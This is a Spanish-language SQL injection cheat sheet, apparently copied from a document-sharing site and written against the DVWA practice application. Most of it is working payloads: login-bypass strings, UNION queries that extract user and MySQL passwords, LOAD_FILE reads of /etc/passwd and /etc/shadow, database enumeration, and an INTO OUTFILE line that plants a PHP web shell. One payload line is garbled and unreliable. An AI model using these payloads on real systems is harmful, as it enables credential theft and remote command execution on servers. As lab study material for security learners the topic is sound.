Está en la página 1de 2

'or 1=1--

admin'--

'OR''=''--

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>
MySQL :

' union select all null,concat(user_id,password) from users; --


Deben tener el mismo numero de columnas el query que esta en la aplicacion y el que
se agrega con la inyeccion.
En este caso era :
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'"; --->
app modelo
El espacio antes de los -- y el espacio despues de ellos si cuenta.
El concat cuenta como un campo, por eso, requiere el null para tener dos campos en
ambos query.

Otros mas basados en UNION :


' union SELECTOAD_FILE(0x2f6574632f706173737764) null,L; # ---->Lista el
/etc/passwd
' union SELECT null,LOAD_FILE(0x2f6574632f736861646f77); # /etc/shadow
' union select 1,2,3; -- ---> Daria un error para la app modelo pero ayuda a saber
cuantas columnas se consultan en su query. 1,2 no daria error
' union select null,concat(user,password) from dvwa.users limit 0,1 -- ---> Lista
registro por registro iniciando en cero
1' union select user_id,password from users; -- ---> Simple, sin concat
' UNION ALL SELECT user,password FROM mysql.user; -- ---> listar usuarios y
passwords del sistema de mysql
' UNION SELECT NULL,concat(user, ' - ',password) AS username FROM users LIMIT 1,1;
-- ----> Salida formateada

' union all SELECT table_schema,table_name FROM information_schema.tables; --


---->

Listar tablas que maneja este servidor de MySQL (prestar atencion a la notacion
instancia.tabla porque la aplicacion esta usando otra instancia normalmente)
' union all select table_schema, table_name, column_name FROM
information_schema.columns WHERE table_schema != 'mysql' AND table_schema !=
'information_schema'
----> Listar columnas de la base de datos actual (la de la aplicacion vulnerable)
SI es que se puede listar el information_schema. Filtra las columnas no deseadas.
' union all select column_name from information_schema.columns where table_schema =
'dvwa' and table_name = 'users'; ----> Igual que el anterior.
' union all SELECT grantee,privilege_type FROM information_schema.user_privileges;
-- ---> Listar privilegios sobre tablas
' UNION SELECT 'test','123' INTO OUTFILE 'testing1.txt ----> Crear el archivo en
/var/lib/mysql/dvwa/
a' UNION ALL SELECT null,@@version;# ----> mysql version
a' UNION SELECT null,database() # ----> base de datos del programa
a' UNION ALL SELECT system_user(),user();# ----> usuario corriendo el engine
' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/tmp/shell.php';#
-----> Shell upload, no funciona siempre porque el usuario mysql requiere derechos
sobre el directorio donde se grabe y ese directorio debe ser accesable por el web
Otros como ORDER BY :
1' ORDER BY 3;# ---> En la app modelo da error y se puede conocer asi la cantidad
de columnas en el query de la app'

select schema_name from information_schema.schemata;


+--------------------+
| schema_name |
+--------------------+
| information_schema |
| database1 |
| database2 |
| database3 |
+--------------------+

select table_name from information_schema.tables where table_schema = 'database1';


+------------+
| table_name |
+------------+
| tabla1 |
| tabla2 |
| tabla3 |
+------------+

select column_name from information_schema.columns where table_schema = 'database1'


and table_name = 'tabla1';
+---------------------+
| column_name |
+---------------------+
| columna1 |
| columna2 |
| columna3 |
+---------------------+

También podría gustarte